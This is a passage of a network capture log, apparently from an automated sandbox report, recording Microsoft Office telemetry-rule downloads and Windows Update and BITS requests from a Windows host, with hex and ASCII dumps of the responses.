2024-12-08 16:45:20 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	49738	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:20 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:20 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 22943564-b01e-0021-0b03-48cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164520Z-r1cf579d778dndrdhC1EWR4b2400000005kg000000002xh3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:20 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	49740	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:20 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:20 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: aae5b6c6-f01e-005d-7a06-4813ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164520Z-r1cf579d778bb9vvhC1EWRs95400000005e0000000006rg1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:21 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	49744	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:22 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:23 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: fff301c7-601e-0097-4606-48f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164523Z-r1cf579d7784wpmvhC1EWRk4cn00000005900000000063zs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:23 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	49745	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:22 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:23 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: ad3e0835-e01e-0033-5701-484695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164523Z-r1cf579d778dc6d7hC1EWR2vs800000006k000000000524a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:23 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49742	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:22 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:23 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 3bfd724e-501e-0016-6705-48181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164523Z-r1cf579d778xr2r4hC1EWRqvfs000000061g0000000000y0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:23 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	49746	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:22 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:23 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 229463e4-b01e-0021-2a03-48cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164523Z-r1cf579d778qlpkrhC1EWRpfc800000006gg000000005wqg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:23 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	49743	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:23 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:24 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 1f14184f-601e-0050-3802-482c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164524Z-r1cf579d778dndrdhC1EWR4b2400000005p00000000005sw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:24 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	49756	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:24 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-12-08 16:45:24 UTC	479	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=205441 Date: Sun, 08 Dec 2024 16:45:24 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	49754	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:24 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=u2l95FzsGhxtNeP&MD=G1WSnhkZ HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-12-08 16:45:25 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: cb005f26-4484-43e1-8cb8-172e6fc901cb MS-RequestId: d80bc0f0-095d-4053-8c87-db11d7879a86 MS-CV: xbeEytrBX029hALA.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sun, 08 Dec 2024 16:45:24 GMT Connection: close Content-Length: 24490
2024-12-08 16:45:25 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-12-08 16:45:25 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:24 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:25 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: bd44ec9f-201e-003f-366e-496d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164525Z-r1cf579d7789jf56hC1EWRu58800000000xg000000007ex8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:25 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	49758	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:24 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:25 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: f6d2a488-401e-000a-7403-484a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164525Z-r1cf579d778dfdgnhC1EWRd3w000000005rg000000002b24 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:25 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	49759	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:24 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
